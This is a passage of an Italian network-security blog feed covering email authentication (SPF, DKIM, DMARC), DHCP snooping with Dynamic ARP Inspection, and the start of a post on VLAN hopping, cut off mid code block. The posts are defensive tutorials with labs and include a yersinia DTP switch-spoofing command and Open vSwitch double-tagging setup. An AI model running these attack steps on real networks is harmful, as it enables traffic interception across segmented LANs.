&lt;p&gt;Il limite di SPF: autentica l&amp;rsquo;envelope, non l&amp;rsquo;indirizzo &lt;code&gt;From:&lt;/code&gt; che l&amp;rsquo;utente legge. E si rompe con
l&amp;rsquo;inoltro, perché il server che inoltra non è nella lista del dominio originale.&lt;/p&gt;
&lt;h2 id=&#34;dkim-firmare-il-messaggio&#34;&gt;DKIM: firmare il messaggio
&lt;/h2&gt;&lt;p&gt;DKIM aggiunge una &lt;strong&gt;firma crittografica&lt;/strong&gt; all&amp;rsquo;email. Il server mittente firma header e corpo con
una chiave privata; la chiave pubblica sta nel DNS. Il ricevente la recupera e verifica la firma.&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart LR
    M[&amp;#34;Mittente&amp;lt;br/&amp;gt;(chiave privata)&amp;#34;] --&amp;gt;|firma header+corpo| E[Email + header DKIM-Signature]
    E --&amp;gt; R[Ricevente]
    R --&amp;gt;|recupera chiave pubblica| DNS[(record DNS _domainkey)]
    DNS --&amp;gt; V{Firma valida?}
    V --&amp;gt;|sì| OK[Integro e dal dominio]
    V --&amp;gt;|no| X[Alterato o falso]
    style X fill:#fde2e4,stroke:#e63946
&lt;/pre&gt;

&lt;p&gt;Una firma valida prova due cose: il messaggio &lt;strong&gt;non è stato alterato&lt;/strong&gt; in transito, ed è stato
firmato da chi controlla la chiave del dominio. A differenza di SPF, DKIM sopravvive all&amp;rsquo;inoltro,
perché la firma viaggia con il messaggio.&lt;/p&gt;
&lt;h2 id=&#34;dmarc-allineare-e-decidere&#34;&gt;DMARC: allineare e decidere
&lt;/h2&gt;&lt;p&gt;SPF e DKIM, da soli, autenticano domini che l&amp;rsquo;utente non vede (l&amp;rsquo;envelope, il dominio della firma).
DMARC aggiunge il pezzo mancante: l&amp;rsquo;&lt;strong&gt;allineamento&lt;/strong&gt; con il dominio dell&amp;rsquo;header &lt;code&gt;From:&lt;/code&gt;, quello
visibile. Un&amp;rsquo;email passa DMARC se supera SPF &lt;strong&gt;o&lt;/strong&gt; DKIM &lt;em&gt;e&lt;/em&gt; il dominio corrispondente è allineato a
quello del &lt;code&gt;From:&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;_dmarc.azienda.it.  IN TXT  &amp;#34;v=DMARC1; p=reject; rua=mailto:dmarc@azienda.it; pct=100&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;La &lt;code&gt;p=&lt;/code&gt; è la decisione sui messaggi che falliscono:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Policy&lt;/th&gt;
&lt;th&gt;Effetto&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;p=none&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;non fare nulla, solo monitorare (fase di avvio)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;p=quarantine&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;metti in spam&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;p=reject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rifiuta del tutto&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Il campo &lt;code&gt;rua=&lt;/code&gt; chiede ai riceventi di inviare &lt;strong&gt;report aggregati&lt;/strong&gt;: chi sta spedendo a nome vostro,
e con quale esito. Sono la bussola per passare da &lt;code&gt;none&lt;/code&gt; a &lt;code&gt;reject&lt;/code&gt; senza bloccare la posta
legittima.&lt;/p&gt;
&lt;h2 id=&#34;il-percorso-di-adozione&#34;&gt;Il percorso di adozione
&lt;/h2&gt;&lt;p&gt;L&amp;rsquo;errore classico è partire da &lt;code&gt;p=reject&lt;/code&gt; e scoprire di aver bloccato la newsletter aziendale o il
gestionale che spedisce fatture. Il percorso corretto:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pubblicate SPF e DKIM per tutti gli emittenti legittimi (inclusi i servizi terzi).&lt;/li&gt;
&lt;li&gt;Pubblicate DMARC con &lt;code&gt;p=none&lt;/code&gt; e raccogliete i report &lt;code&gt;rua&lt;/code&gt; per settimane.&lt;/li&gt;
&lt;li&gt;Dai report, trovate e sistemate gli emittenti legittimi non allineati.&lt;/li&gt;
&lt;li&gt;Passate a &lt;code&gt;p=quarantine&lt;/code&gt;, poi a &lt;code&gt;p=reject&lt;/code&gt; solo quando i report sono puliti.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;p&gt;Con un dominio di test (o un ambiente mail da laboratorio come Mailu/mailcow):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pubblicate un record SPF e verificatelo con &lt;code&gt;dig TXT azienda.it&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Generate una coppia di chiavi DKIM, pubblicate la pubblica nel DNS e firmate un messaggio.&lt;/li&gt;
&lt;li&gt;Inviate verso un servizio di test (es. un account controllato) e leggete gli header
&lt;code&gt;Authentication-Results&lt;/code&gt;: devono mostrare &lt;code&gt;spf=pass&lt;/code&gt; e &lt;code&gt;dkim=pass&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Aggiungete DMARC &lt;code&gt;p=none&lt;/code&gt; con &lt;code&gt;rua&lt;/code&gt; e osservate i primi report aggregati.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; se ho già SPF e DKIM che passano, DMARC cosa aggiunge davvero?&lt;/summary&gt;
&lt;p&gt;Aggiunge il controllo che manca a entrambi: l&#39;allineamento con l&#39;indirizzo che l&#39;utente
&lt;em&gt;vede&lt;/em&gt;. SPF autentica il dominio dell&#39;envelope (&lt;code&gt;MAIL FROM&lt;/code&gt;), DKIM il dominio della
firma: nessuno dei due guarda l&#39;header &lt;code&gt;From:&lt;/code&gt; mostrato nel client. Un attaccante può
registrare un proprio dominio, configurarci SPF e DKIM perfetti, e poi scrivere nel &lt;code&gt;From:&lt;/code&gt;
visibile &lt;code&gt;ceo@azienda.it&lt;/code&gt;. SPF e DKIM passano — ma sul &lt;em&gt;suo&lt;/em&gt; dominio, non su
azienda.it. DMARC è ciò che esige che il dominio autenticato &lt;em&gt;coincida&lt;/em&gt; con quello visibile, e
dà al dominio legittimo il potere di dire &#34;rifiuta tutto ciò che si spaccia per me ma non lo prova&#34;.
Senza DMARC, SPF e DKIM proteggono un nome che l&#39;utente non legge mai.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;Tre record, tre domande in sequenza: SPF chiede se il server è autorizzato, DKIM se il messaggio è
integro e firmato dal dominio, DMARC se tutto questo è allineato all&amp;rsquo;indirizzo che l&amp;rsquo;utente vede — e
cosa fare quando non lo è. Insieme trasformano un &lt;code&gt;From:&lt;/code&gt; falsificabile in un&amp;rsquo;identità verificabile,
e sono la difesa di base contro lo spoofing e il phishing. Come per DNSSEC, la forza sta
nell&amp;rsquo;adozione graduale guidata dai dati: &lt;code&gt;p=none&lt;/code&gt;, i report, poi &lt;code&gt;reject&lt;/code&gt;.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>DHCP snooping e Dynamic ARP Inspection: fidarsi solo delle porte giuste</title>
        <link>https://www.matteobianchi.eu/p/dhcp-snooping-dynamic-arp-inspection/</link>
        <pubDate>Sat, 22 Aug 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/dhcp-snooping-dynamic-arp-inspection/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/dhcp-snooping-dynamic-arp-inspection/cover.png" alt="Featured image of post DHCP snooping e Dynamic ARP Inspection: fidarsi solo delle porte giuste" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;Nel &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/&#34; &gt;capitolo sugli attacchi L2&lt;/a&gt; abbiamo visto che
ARP non autentica nulla: chiunque sulla LAN può dire &amp;ldquo;l&amp;rsquo;IP del gateway sono io&amp;rdquo; e dirottare il
traffico. Il DHCP ha lo stesso difetto: un client crede al primo server che risponde, e un
&lt;strong&gt;server DHCP rogue&lt;/strong&gt; può distribuire un gateway o un DNS malevolo a tutta la rete. Due attacchi,
una radice comune: lo switch si fida di qualunque porta. DHCP snooping e Dynamic ARP Inspection
(DAI) chiudono entrambi partendo dalla stessa idea — distinguere le porte fidate da quelle no.&lt;/p&gt;
&lt;h2 id=&#34;il-server-dhcp-rogue&#34;&gt;Il server DHCP rogue
&lt;/h2&gt;&lt;p&gt;In una LAN normale il client manda un &lt;code&gt;DHCPDISCOVER&lt;/code&gt; in broadcast e accetta la prima offerta. Se un
attaccante collega un proprio server DHCP, può rispondere più in fretta di quello legittimo e
imporre i propri parametri:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart TD
    C[Client] --&amp;gt;|DHCPDISCOVER broadcast| SW[Switch]
    SW --&amp;gt; L[Server DHCP legittimo]
    SW --&amp;gt; R[&amp;#34;Server DHCP rogue&amp;lt;br/&amp;gt;(attaccante)&amp;#34;]
    R --&amp;gt;|offerta più veloce:&amp;lt;br/&amp;gt;gateway = attaccante| C
    C -.tutto il traffico passa dall&amp;#39;attaccante.-&amp;gt; R
    style R fill:#fde2e4,stroke:#e63946
&lt;/pre&gt;

&lt;p&gt;Il client finisce con un default gateway che è l&amp;rsquo;attaccante: un man-in-the-middle completo, senza
aver toccato una sola tabella ARP.&lt;/p&gt;
&lt;h2 id=&#34;dhcp-snooping-porte-fidate-e-non-fidate&#34;&gt;DHCP snooping: porte fidate e non fidate
&lt;/h2&gt;&lt;p&gt;DHCP snooping divide le porte dello switch in due classi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Trusted&lt;/strong&gt;: le porte dove ci si &lt;em&gt;aspetta&lt;/em&gt; un server DHCP (il link verso il server legittimo o
l&amp;rsquo;uplink). Le risposte DHCP (&lt;code&gt;OFFER&lt;/code&gt;, &lt;code&gt;ACK&lt;/code&gt;) sono accettate solo da qui.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Untrusted&lt;/strong&gt;: tutte le porte verso i client. Da queste, una risposta DHCP viene &lt;strong&gt;scartata&lt;/strong&gt;: un
client non offre indirizzi.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! abilita DHCP snooping sulla VLAN 10
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip dhcp snooping
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip dhcp snooping vlan 10
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;interface Gi0/1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ip dhcp snooping trust          ! uplink verso il server DHCP legittimo
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! tutte le altre porte restano untrusted per default
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;La riga &lt;code&gt;ip dhcp snooping trust&lt;/code&gt; sull&amp;rsquo;uplink è il fulcro: ovunque altrove, una risposta DHCP è per
definizione sospetta e viene bloccata. Il server rogue, collegato a una porta client (untrusted),
non riesce più a rispondere.&lt;/p&gt;
&lt;h2 id=&#34;la-binding-table-il-sottoprodotto-prezioso&#34;&gt;La binding table: il sottoprodotto prezioso
&lt;/h2&gt;&lt;p&gt;Mentre ispeziona il traffico DHCP, lo switch registra ogni assegnazione legittima in una
&lt;strong&gt;binding table&lt;/strong&gt;: &lt;em&gt;quale MAC, su quale porta, ha ottenuto quale IP, in quale VLAN&lt;/em&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;MAC&lt;/th&gt;
&lt;th&gt;IP&lt;/th&gt;
&lt;th&gt;VLAN&lt;/th&gt;
&lt;th&gt;Porta&lt;/th&gt;
&lt;th&gt;Lease&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;aa:bb:cc:00:11:22&lt;/td&gt;
&lt;td&gt;10.0.10.5&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Gi0/5&lt;/td&gt;
&lt;td&gt;86400&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;aa:bb:cc:00:33:44&lt;/td&gt;
&lt;td&gt;10.0.10.6&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Gi0/6&lt;/td&gt;
&lt;td&gt;86400&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Questa tabella è la &lt;strong&gt;verità&lt;/strong&gt; su chi è chi sulla rete. È ciò che rende possibile il passo
successivo.&lt;/p&gt;
&lt;h2 id=&#34;dynamic-arp-inspection-usare-il-binding-contro-larp-spoofing&#34;&gt;Dynamic ARP Inspection: usare il binding contro l&amp;rsquo;ARP spoofing
&lt;/h2&gt;&lt;p&gt;DAI intercetta ogni pacchetto ARP su una porta untrusted e lo confronta con la binding table. Se
qualcuno sulla porta Gi0/6 (dove la tabella dice esserci 10.0.10.6) manda un ARP che dichiara &amp;ldquo;io
sono 10.0.10.1&amp;rdquo; (il gateway), il binding non corrisponde: il pacchetto viene scartato.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;! DAI usa la binding table di DHCP snooping sulla VLAN 10
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ip arp inspection vlan 10
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;interface Gi0/1
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ip arp inspection trust         ! uplink fidato, non ispezionato
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart LR
    A[&amp;#34;ARP in arrivo&amp;lt;br/&amp;gt;porta untrusted&amp;#34;] --&amp;gt; C{IP+MAC+porta&amp;lt;br/&amp;gt;nella binding table?}
    C --&amp;gt;|sì| P[Inoltra]
    C --&amp;gt;|no| D[Scarta + log]
    style D fill:#fde2e4,stroke:#e63946
&lt;/pre&gt;

&lt;p&gt;Ecco perché i due meccanismi vanno insieme: DAI non ha una propria fonte di verità, &lt;strong&gt;usa&lt;/strong&gt; la
binding table che DHCP snooping ha costruito. Senza snooping, DAI non sa cosa sia legittimo.&lt;/p&gt;
&lt;h2 id=&#34;gli-indirizzi-statici-ip-source-guard-e-le-entry-manuali&#34;&gt;Gli indirizzi statici: IP Source Guard e le entry manuali
&lt;/h2&gt;&lt;p&gt;Non tutti gli host usano DHCP: server e stampanti hanno spesso IP statici, assenti dalla binding
table. Per loro servono &lt;strong&gt;entry statiche&lt;/strong&gt; nella tabella, altrimenti DAI li bloccherebbe. Lo stesso
binding abilita anche &lt;strong&gt;IP Source Guard&lt;/strong&gt;, che filtra i pacchetti il cui IP sorgente non combacia
con la porta — fermando lo spoofing di IP oltre a quello di ARP.&lt;/p&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;p&gt;Con tre nodi containerlab (o GNS3) collegati a uno switch che supporti queste funzioni (o Open
vSwitch con regole equivalenti):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Avviate un server DHCP legittimo su una porta e un secondo server &amp;ldquo;rogue&amp;rdquo; su un&amp;rsquo;altra.&lt;/li&gt;
&lt;li&gt;Senza snooping: osservate il client accettare l&amp;rsquo;offerta rogue.&lt;/li&gt;
&lt;li&gt;Abilitate DHCP snooping con la sola porta del server legittimo come trust: il rogue viene zittito.&lt;/li&gt;
&lt;li&gt;Abilitate DAI e, da un client, lanciate un ARP spoofing (come nel capitolo 02): i pacchetti
devono essere scartati e loggati.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; se ho già la port security e 802.1X, DHCP snooping e DAI non sono ridondanti?&lt;/summary&gt;
&lt;p&gt;No, agiscono su piani diversi. La &lt;a href=&#34;https://www.matteobianchi.eu/p/layer2-attacks-arp-spoofing/&#34;&gt;port security&lt;/a&gt; limita
&lt;em&gt;quanti&lt;/em&gt; MAC usano una porta; &lt;a href=&#34;https://www.matteobianchi.eu/p/nac-8021x/&#34;&gt;802.1X&lt;/a&gt; decide &lt;em&gt;chi&lt;/em&gt; può
collegarsi alla porta. Ma una volta che un dispositivo è legittimamente connesso e autenticato, nulla
gli impedisce di &lt;em&gt;mentire&lt;/em&gt; a livello 3: offrire DHCP o falsificare ARP. DHCP snooping e DAI
controllano proprio il &lt;em&gt;contenuto&lt;/em&gt; di quel traffico, non l&#39;accesso alla porta. Un dipendente
autenticato con un laptop infetto supera 802.1X e port security, ma i suoi pacchetti ARP falsi cadono
contro DAI. Sono strati complementari: accesso, identità e integrità del traffico.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;DHCP snooping e DAI affrontano insieme due attacchi che condividono la stessa radice: la fiducia
cieca dello switch. Snooping distingue le porte che possono offrire DHCP e, così facendo, costruisce
una tabella di binding affidabile; DAI riusa quella tabella per bocciare ogni ARP che non torna. Il
risultato è che le due tecniche viste nel capitolo 02 — rogue DHCP e ARP spoofing — vengono fermate
alla porta, prima che diventino un man-in-the-middle.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>VLAN hopping e hardening degli switch</title>
        <link>https://www.matteobianchi.eu/p/vlan-hopping-and-switch-hardening/</link>
        <pubDate>Tue, 11 Aug 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/vlan-hopping-and-switch-hardening/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/vlan-hopping-and-switch-hardening/cover.png" alt="Featured image of post VLAN hopping e hardening degli switch" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;La segmentazione in VLAN è la risposta alla minaccia T1 del
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/threat-modeling-networks/&#34; &gt;threat model&lt;/a&gt;: la rete ospiti e la LAN uffici
sulla stessa infrastruttura fisica, ma su VLAN diverse, senza rotte tra loro. Funziona finché un
attaccante non riesce a &lt;strong&gt;uscire dalla propria VLAN&lt;/strong&gt;. Il VLAN hopping fa esattamente questo, e
nei due casi classici non sfrutta un bug: sfrutta configurazioni lasciate ai valori di default.&lt;/p&gt;
&lt;h2 id=&#34;ripasso-tag-access-e-trunk&#34;&gt;Ripasso: tag, access e trunk
&lt;/h2&gt;&lt;p&gt;Un frame che viaggia in una VLAN porta un tag 802.1Q: 12 bit che dicono a quale VLAN appartiene.
Le porte dello switch sono di due tipi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;access&lt;/strong&gt;: appartiene a una sola VLAN; i frame entrano ed escono senza tag.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trunk&lt;/strong&gt;: porta più VLAN tra switch; i frame viaggiano con il tag, tranne quelli della &lt;strong&gt;VLAN
nativa&lt;/strong&gt;, che per compatibilità storica vanno &lt;strong&gt;senza tag&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Quest&amp;rsquo;ultima eccezione — la VLAN nativa non taggata — è la porta d&amp;rsquo;ingresso di entrambi gli
attacchi.&lt;/p&gt;
&lt;h2 id=&#34;attacco-1-switch-spoofing-dtp&#34;&gt;Attacco 1: switch spoofing (DTP)
&lt;/h2&gt;&lt;p&gt;Sugli switch Cisco il &lt;strong&gt;Dynamic Trunking Protocol (DTP)&lt;/strong&gt; negozia automaticamente se una porta
diventa trunk. Di default molte porte sono in &lt;code&gt;dynamic auto&lt;/code&gt; o &lt;code&gt;dynamic desirable&lt;/code&gt;: se l&amp;rsquo;altro
lato chiede un trunk, lo switch glielo concede.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;attaccante finge di essere uno switch e chiede un trunk. Se la porta accetta, da quel momento
l&amp;rsquo;attaccante riceve il traffico di &lt;strong&gt;tutte&lt;/strong&gt; le VLAN che passano sul trunk.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# yersinia fa la negoziazione DTP fingendosi uno switch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;yersinia dtp -attack &lt;span class=&#34;m&#34;&gt;1&lt;/span&gt; -interface eth1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;blockquote&gt;
&lt;p&gt;Nota sul lab: DTP è un protocollo proprietario Cisco. Open vSwitch non lo parla, quindi questo
attacco si riproduce solo in GNS3 con un&amp;rsquo;immagine Cisco IOSvL2 (o IOU). Le immagini Cisco non
sono redistribuibili: per il resto della serie restiamo su containerlab.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;attacco-2-double-tagging&#34;&gt;Attacco 2: double tagging
&lt;/h2&gt;&lt;p&gt;Questo funziona anche senza DTP, su qualunque switch 802.1Q, ed è il motivo per cui la VLAN
nativa non va mai usata per host reali. L&amp;rsquo;attaccante, su una porta access della VLAN nativa (VLAN
1), costruisce un frame con &lt;strong&gt;due&lt;/strong&gt; tag: uno esterno (VLAN 1, quella nativa) e uno interno (la
VLAN bersaglio, es. VLAN 20).&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart LR
    A[&amp;#34;attacker&amp;lt;br/&amp;gt;VLAN nativa 1&amp;#34;] --&amp;gt;|frame con 2 tag:&amp;lt;br/&amp;gt;outer=1, inner=20| S1[Switch 1]
    S1 --&amp;gt;|toglie il tag nativo 1,&amp;lt;br/&amp;gt;resta inner=20| S2[Switch 2 / trunk]
    S2 --&amp;gt;|consegna in VLAN 20| V[&amp;#34;victim&amp;lt;br/&amp;gt;VLAN 20&amp;#34;]
    style A fill:#fde2e4,stroke:#e63946
&lt;/pre&gt;

&lt;p&gt;Il primo switch toglie il tag esterno — è la VLAN nativa, va rimossa — e inoltra il frame sul
trunk. A quel punto resta solo il tag interno, VLAN 20: il secondo switch lo consegna nella VLAN
bersaglio. Il frame ha saltato la VLAN. È &lt;strong&gt;monodirezionale&lt;/strong&gt; (la risposta non torna indietro
allo stesso modo), ma basta per iniettare pacchetti, ad esempio un DHCP rogue in un&amp;rsquo;altra VLAN.&lt;/p&gt;
&lt;p&gt;Nel lab con Open vSwitch si riproduce configurando le porte e inviando un frame a doppio tag:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# porta attaccante: access sulla VLAN nativa 1; porta vittima: trunk con VLAN 20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ovs-vsctl &lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; port p-attacker &lt;span class=&#34;nv&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ovs-vsctl &lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; port p-victim   &lt;span class=&#34;nv&#34;&gt;trunks&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;1,20
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
